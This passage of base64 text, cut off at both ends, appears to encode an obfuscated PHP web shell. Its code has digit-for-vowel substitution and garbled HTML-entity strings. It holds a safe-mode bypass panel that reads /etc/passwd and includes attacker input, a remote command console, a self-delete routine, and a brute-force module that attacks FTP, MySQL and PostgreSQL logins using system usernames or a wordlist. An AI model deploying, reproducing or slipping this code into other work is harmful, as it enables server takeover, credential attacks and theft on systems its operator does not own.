m50NW50cygkdDVtcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDNubDRuaygkdDVtcCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnJiNvaThlOyYjb2VhOTsmI29lYTk7JiNvZTZlOyYjb2VvbzsmI29lNjg7ICEhIC4uICYjb2VpYTsmI29lNjc7JiNvZWllOyYjb2VhZTsmI29lb3U7JiNvZTY3OyYjb2VvdTsmI29lNjk7JiNvZTBlOyYjb2V1ODsmI29lNjY7JiNvZW9lOyYjb2UwdTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7JiNvZWlhOyYjb2UwdTsmI29laTc7ICEnOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSBhOg0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDVzID0gZ2wyYigkX1BPU1RbJ3BhJ10uJyonKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCA0c18xcnIxeSgkZjRsNXMpICkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCAoJGY0bDVzIDFzICRmNGw1bjFtNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICRmNGw1bjFtNS4iXG4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSBvOg0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoID0gYzNybF80bjR0KCJmNGw1Oi8vIi4kX1BPU1RbJ3BhJ10uIlx4MDAiLnByNWdfcjVwbDFjNSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgYzNybF81eDVjKCRjaCk7DQogICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1IHU6DQogICAgICAgICAgICAgICAgICAgICAgICA0bjRfcjVzdDJyNSgiczFmNV9tMmQ1Iik7DQogICAgICAgICAgICAgICAgICAgICAgICA0bjRfcjVzdDJyNSgiMnA1bl9iMXM1ZDRyIik7DQogICAgICAgICAgICAgICAgICAgICAgICA0bmNsM2Q1KCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1IGk6DQogICAgICAgICAgICAgICAgICAgICAgICBmMnIoOyRfUE9TVFsncGEnXSA8PSAkX1BPU1RbJ3BvJ107JF9QT1NUWydwYSddKyspIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDM0ZCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyIGoyNG4oJzonLCQzNGQpLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICAkdDVtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj5TMWY1IG0yZDUgYnlwMXNzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICAgICAgNWNoMiAnPHNwMW4+QzJweSAoJiNvZWE5OyYjb2VpZTsmI29lb3U7JiNvZTA5OyYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDspPC9zcDFuPjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsIjYiLHRoNHMucDFyMW0udjFsMzUpO3I1dDNybiBmMWxzNTtcJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFyMW0+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjxicj48c3Axbj5HbDJiICgmI29lNjk7JiNvZW91OyYjb2U2ODsmI29pOXU7JiNvZW85OyYjb2VpZTsmI29lYTk7JiNvZXU5OyYjb2U2aTsmI29laTc7JiNvZTY3Oyk8L3NwMW4+PGYycm0gMm5zM2JtNHQ9XCdnKG4zbGwsbjNsbCwiYSIsdGg0cy5wMXIxbS52MWwzNSk7cjV0M3JuIGYxbHM1O1wnPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PGJyPjxzcDFuPkMzcmwgKCYjb2VhOTsmI29laWU7JiNvZW91OyYjb2UwOTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJvIix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+SW40X3I1c3QycjUgKCYjb2VhOTsmI29laWU7JiNvZW91OyYjb2UwOTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7KTwvc3Axbj48ZjJybSAybnMzYm00dD1cJ2cobjNsbCxuM2xsLCJ1Iix0aDRzLnAxcjFtLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48YnI+PHNwMW4+UDJzNHhfZzV0cHczNGQgKCImI29lYTk7JiNvZWllOyYjb2VvdTsmI29lMDk7IiAvNXRjL3Axc3N3ZCk8L3NwMW4+PHQxYmw1PjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImkiLHRoNHMucDFyMW02LnYxbDM1LHRoNHMucDFyMW1hLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PHRyPjx0ZD5GcjJtPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtNiB2MWwzNT0wPjwvdGQ+PC90cj48dHI+PHRkPiYjb2UwZTsmI29lbzg7JiNvaTk2OzwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wMXIxbWEgdjFsMzU9NjAwMD48L3RkPjwvdHI+PC90MWJsNT48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+JzsNCiAgICAgICAgNGYoJHQ1bXApDQogICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz0ibWw2IiBzdHlsNT0ibTFyZzRuLXQycDppcHgiIDRkPSJPM3RwM3QiPicuaHRtbHNwNWM0MWxjaDFycygkdDVtcCkuJzwvcHI1Pic7DQogICAgICAgIDVjaDIgJzwvZDR2Pic7DQogICAgICAgIEJPRkZGMjJ0NXIoKTsNCn0NCiANCmYzbmN0NDJuIDFjdDQybkMybnMybDUoKSB7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkgJiYgITVtcHR5KCRfUE9TVFsncGEnXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSB0cjM1Ow0KICAgICAgICAkX1BPU1RbJ3A2J10gLj0gJyBhPiY2JzsNCiAgICB9IDVsczU0ZighNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGQ1cnJfdDJfMjN0J10gPSBmMWxzNTsNCiANCiAgICAgICAgNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1Ow0KICAgICAgICAgICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgICAgICAgICAgNWNoMiAiZC5jZi5jbWQudjFsMzU9Jyc7XG4iOw0KICAgICAgICAgICAgICAgICR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIuQk9GRkV4KCRfUE9TVFsncDYnXSksIlxuXHJcdFxcJ1wwIikpOw0KICAgICAgICAgICAgICAgIDRmKHByNWdfbTF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3A2J10sJG0xdGNoKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoQGNoZDRyKCRtMXRjaFs2XSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGc1dGN3ZCgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNWNoMiAiZC5jZi4yM3RwM3QudjFsMzUrPSciLiR0NW1wLiInOyI7DQogICAgICAgICAgICAgICAgNWNoMiAiZC5jZi4yM3RwM3Quc2NyMmxsVDJwID0gZC5jZi4yM3RwM3Quc2NyMmxsSDU0Z2h0OyI7DQogICAgICAgICAgICAgICAgJHQ1bXAgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICAgICAgICAgICAgICA1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KICAgICAgICAgICAgICAgIDV4NHQ7DQogICAgICAgIH0NCiAgICAgICAgQk9GRkg1MWQ1cigpOw0KICAgIDVjaDIgIjxzY3I0cHQ+DQo0Zih3NG5kMncuRXY1bnQpIHc0bmQydy5jMXB0M3I1RXY1bnRzKEV2NW50LktFWURPV04pOw0KdjFyIGNtZHMgPSBuNXcgQXJyMXkoJycpOw0KdjFyIGMzciA9IDA7DQpmM25jdDQybiBrcCg1KSB7DQogICAgICAgIHYxciBuID0gKHc0bmQydy5FdjVudCkgPyA1LndoNGNoIDogNS5rNXlDMmQ1Ow0KICAgICAgICA0ZihuID09IG84KSB7DQogICAgICAgICAgICAgICAgYzNyLS07DQogICAgICAgICAgICAgICAgNGYoYzNyPj0wKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgIGMzcisrOw0KICAgICAgICB9IDVsczUgNGYobiA9PSB1MCkgew0KICAgICAgICAgICAgICAgIGMzcisrOw0KICAgICAgICAgICAgICAgIDRmKGMzciA8IGNtZHMubDVuZ3RoKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgIGMzci0tOw0KICAgICAgICB9DQp9DQpmM25jdDQybiAxZGQoY21kKSB7DQogICAgICAgIGNtZHMucDJwKCk7DQogICAgICAgIGNtZHMucDNzaChjbWQpOw0KICAgICAgICBjbWRzLnAzc2goJycpOw0KICAgICAgICBjM3IgPSBjbWRzLmw1bmd0aC02Ow0KfQ0KPC9zY3I0cHQ+IjsNCiAgICAgICAgNWNoMiAnPGg2PkMybnMybDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PWNmIDJuczNibTR0PSI0ZihkLmNmLmNtZC52MWwzNT09XCdjbDUxclwnKXtkLmNmLjIzdHAzdC52MWwzNT1cJ1wnO2QuY2YuY21kLnYxbDM1PVwnXCc7cjV0M3JuIGYxbHM1O30xZGQodGg0cy5jbWQudjFsMzUpOzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLmNtZC52MWwzNSx0aDRzLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IHI1dDNybiBmMWxzNTsiPjxzNWw1Y3QgbjFtNT0xbDQxcz4nOw0KICAgICAgICBmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCiAgICAgICAgICAgICAgICA0ZigkdiA9PSAnJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPDJwdGdyMjNwIGwxYjVsPSItJy5odG1sc3A1YzQxbGNoMXJzKCRuKS4nLSI+PC8ycHRncjIzcD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogICAgICAgIDVjaDIgJzwvczVsNWN0Pjw0bnAzdCB0eXA1PWIzdHQybiAybmNsNGNrPSIxZGQoZC5jZi4xbDQxcy52MWwzNSk7NGYoZC5jZi4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLGQuY2YuMWw0MXMudjFsMzUsZC5jZi5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9IiB2MWwzNT0iPj4iPiA8bjJicj48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLihAJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4nPiAmI29lYWU7JiNvZWllOyYjb2k5NjsmI29pODg7JiNvZWllOyYjb2VvdTsmI29pOGk7JiNvZW91OyYjb2U2OTsmI29laTY7JiNvaTl1OyYjb2VpNzsgQUpBWCA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PXNoMndfNXJyMnJzIHYxbDM1PTYgJy4oITVtcHR5KCRfUE9TVFsncGEnXSl8fCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCddPydjaDVjazVkJzonJykuJz4gcjVkNHI1Y3Qgc3RkNXJyIHQyIHN0ZDIzdCAoYT4mNik8L24yYnI+PGJyLz48dDV4dDFyNTEgY2wxc3M9YjRnMXI1MSBuMW01PTIzdHAzdCBzdHlsNT0iYjJyZDVyLWIydHQybTowO20xcmc0bjowOyIgcjUxZDJubHk+JzsNCiAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoIiQgIi4kX1BPU1RbJ3A2J10uIlxuIi5CT0ZGRXgoJF9QT1NUWydwNiddKSk7DQogICAgICAgIH0NCiAgICAgICAgNWNoMiAnPC90NXh0MXI1MT48dDFibDUgc3R5bDU9ImIycmQ1cjo2cHggczJsNGQgI2RmaTtiMWNrZ3IyM25kLWMybDJyOiNpaWk7YjJyZDVyLXQycDowcHg7IiBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTAgdzRkdGg9IjYwMCUiPjx0cj48dGQgdzRkdGg9IjYlIj4kPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNtZCBzdHlsNT0iYjJyZDVyOjBweDt3NGR0aDo2MDAlOyIgMm5rNXlkMnduPSJrcCg1djVudCk7Ij48L3RkPjwvdHI+PC90MWJsNT4nOw0KICAgICAgICA1Y2gyICc8L2Yycm0+PC9kNHY+PHNjcjRwdD5kLmNmLmNtZC5mMmMzcygpOzwvc2NyNHB0Pic7DQogICAgICAgIEJPRkZGMjJ0NXIoKTsNCn0NCiANCmYzbmN0NDJuIDFjdDQybkwyZzIzdCgpIHsNCiAgICBzNXNzNDJuX2Q1c3RyMnkoKTsNCiAgICAgICAgZDQ1KCcmI29lYTY7JiNvZW91OyYjb2k4aTsmI29laWU7JiNvZWE5OyYjb2UwOTsgIScpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuUzVsZlI1bTJ2NSgpIHsNCiAgICAgICANCiAgICAgICAgNGYoJF9QT1NUWydwNiddID09ICd5NXMnKQ0KICAgICAgICAgICAgICAgIDRmKEAzbmw0bmsocHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQogICAgICAgICAgICAgICAgICAgICAgICBkNDUoJyYjb2VhNjsmI29lNjA7IFNoNWxsICYjb2V1OTsmI29lYTY7JiNvZWk3OyYjb2VhbzsgIScpOw0KICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJyYjb2VpYTsmI29lNjc7JiNvZWllOyYjb2U2NzsmI29lbzc7JiNvZWE2OyYjb2VvZTsmI29pOTY7JiNvaTg4OyYjb2VlMDsgISc7DQogICAgNGYoJF9QT1NUWydwNiddICE9ICd5NXMnKQ0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj4mI29pODg7JiNvZW9pOyYjb2V1ODsmI29lMGk7JiNvZW85OyYjb2VhOTsmI29lMDk7PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JiNvZXU5OyYjb2UwOTsmI29laWU7JiNvZWk2OyYjb2k5YTsmI29laWE7JiNvZWE3OyYjb2U2NzsmI29lYW87JiNvZWllOyYjb2VvdTsmI29pODg7JiNvZXUwOyYjb2UwbzsmI29lMGk7JiNvZWk3OyYjb2VhOTsmI29pOTY7JiNvaThpOyYjb2VvdTsmI29lNjk7JiNvZWE2OyYjb2U2MDsgRXh0cjUxbSAtIFNoNWxsID88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj4mI29laTY7JiNvaTl1OyYjb2VpZTs8LzE+PC9kNHY+JzsNCiAgICAgICAgQk9GRkYyMnQ1cigpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuQnIzdDVmMnJjNSgpIHsNCiAgICAgICAgQk9GRkg1MWQ1cigpOw0KICAgICAgICA0ZiggNHNzNXQoJF9QT1NUWydwcjJ0MiddKSApIHsNCiAgICAgICAgICAgICAgICA1Y2gyICc8aDY+JiNvZXU5OyYjb2VhZTsmI29lMHU7JiNvaTk2OyYjb2U2YTsmI29lYTY7PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+JiNvZTY5OyYjb2V1NjsmI29lNjY7JiNvZXU5OyYjb2U2MDsmI29lNjA7Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncHIydDInXSkuJyA8c3Axbj4mI29ldTg7JiNvaTlpOyYjb2VvZTsmI29lNmk7JiNvZXU4OyYjb2VhbzsmI29laWU7JiNvZWE5OyYjb2U2OTsmI29lZTA7Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCiAgICAgICAgICAgICAgICA0ZiggJF9QT1NUWydwcjJ0MiddID09ICdmdHAnICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoISRmcCkgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcjVzID0gQGZ0cF9sMmc0bigkZnAsICRsMmc0biwgJHAxc3MpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZnRwX2NsMnM1KCRmcCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkcjVzOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIGJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcjVzID0gQG15c3FsX2Mybm41Y3QoJDRwLic6Jy4kcDJydD8kcDJydDpvbzBlLCAkbDJnNG4sICRwMXNzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQG15c3FsX2NsMnM1KCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdwZ3NxbCcgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBmM25jdDQybiBicjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0ciA9ICJoMnN0PSciLiQ0cC4iJyBwMnJ0PSciLiRwMnJ0LiInIDNzNXI9JyIuJGwyZzRuLiInIHAxc3N3MnJkPSciLiRwMXNzLiInIGRibjFtNT1wMnN0Z3I1cyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyNXMgPSBAcGdfYzJubjVjdCgkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHBnX2NsMnM1KCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHMzY2M1c3MgPSAwOw0KICAgICAgICAgICAgICAgICQxdHQ1bXB0cyA9IDA7DQogICAgICAgICAgICAgICAgJHM1cnY1ciA9IDV4cGwyZDUoIjoiLCAkX1BPU1RbJ3M1cnY1ciddKTsNCiAgICAgICAgICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcCA9IEBmNGw1KCcvNXRjL3Axc3N3ZCcpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoIDRzXzFycjF5KCR0NW1wKSApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IDV4cGwyZDUoIjoiLCAkbDRuNSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoIGJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkbDRuNVswXSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoQCRfUE9TVFsncjV2NXJzNSddKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmMnIoJDQ9c3RybDVuKCRsNG41WzBdKS02OyAkND49MDsgLS0kNCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRtcCAuPSAkbDRuNVswXVskNF07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICArKyQxdHQ1bXB0czsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzM2NjNXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfUE9TVFsndHlwNSddID09IGEpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wID0gQGY0bDUoJF9QT1NUWydkNGN0J10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoIDRzXzFycjF5KCR0NW1wKSApDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IHRyNG0oJGw0bjUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRfUE9TVFsnbDJnNG4nXSwgJGw0bjUpICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHMzY2M1c3MrKzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA1Y2gyICI8c3Axbj4mI29lNnU7JiNvZTY4OyYjb2VvdTsmI29lNjg7JiNvZW91OyYjb2U2Nzs6PC9zcDFuPiAkMXR0NW1wdHMgPHNwMW4+JiNvZWFlOyYjb2VvaTsmI29ldTg7JiNvZTY5OyYjb2VpaTsmI29pOWE7Ojwvc3Axbj4gJHMzY2M1c3M8L2Q0dj48YnI+IjsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48dDFibDU+PGYycm0gbTV0aDJkPXAyc3Q+PHRyPjx0ZD48c3Axbj4mI29lNjk7JiNvZXU2OyYjb2U2NjsmI29ldTk7JiNvZTYwOyYjb2U2MDs8L3NwMW4+PC90ZD4nDQogICAgICAgICAgICAgICAgLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQogICAgICAgICAgICAgICAgLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQogICAgICAgICAgICAgICAgLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMo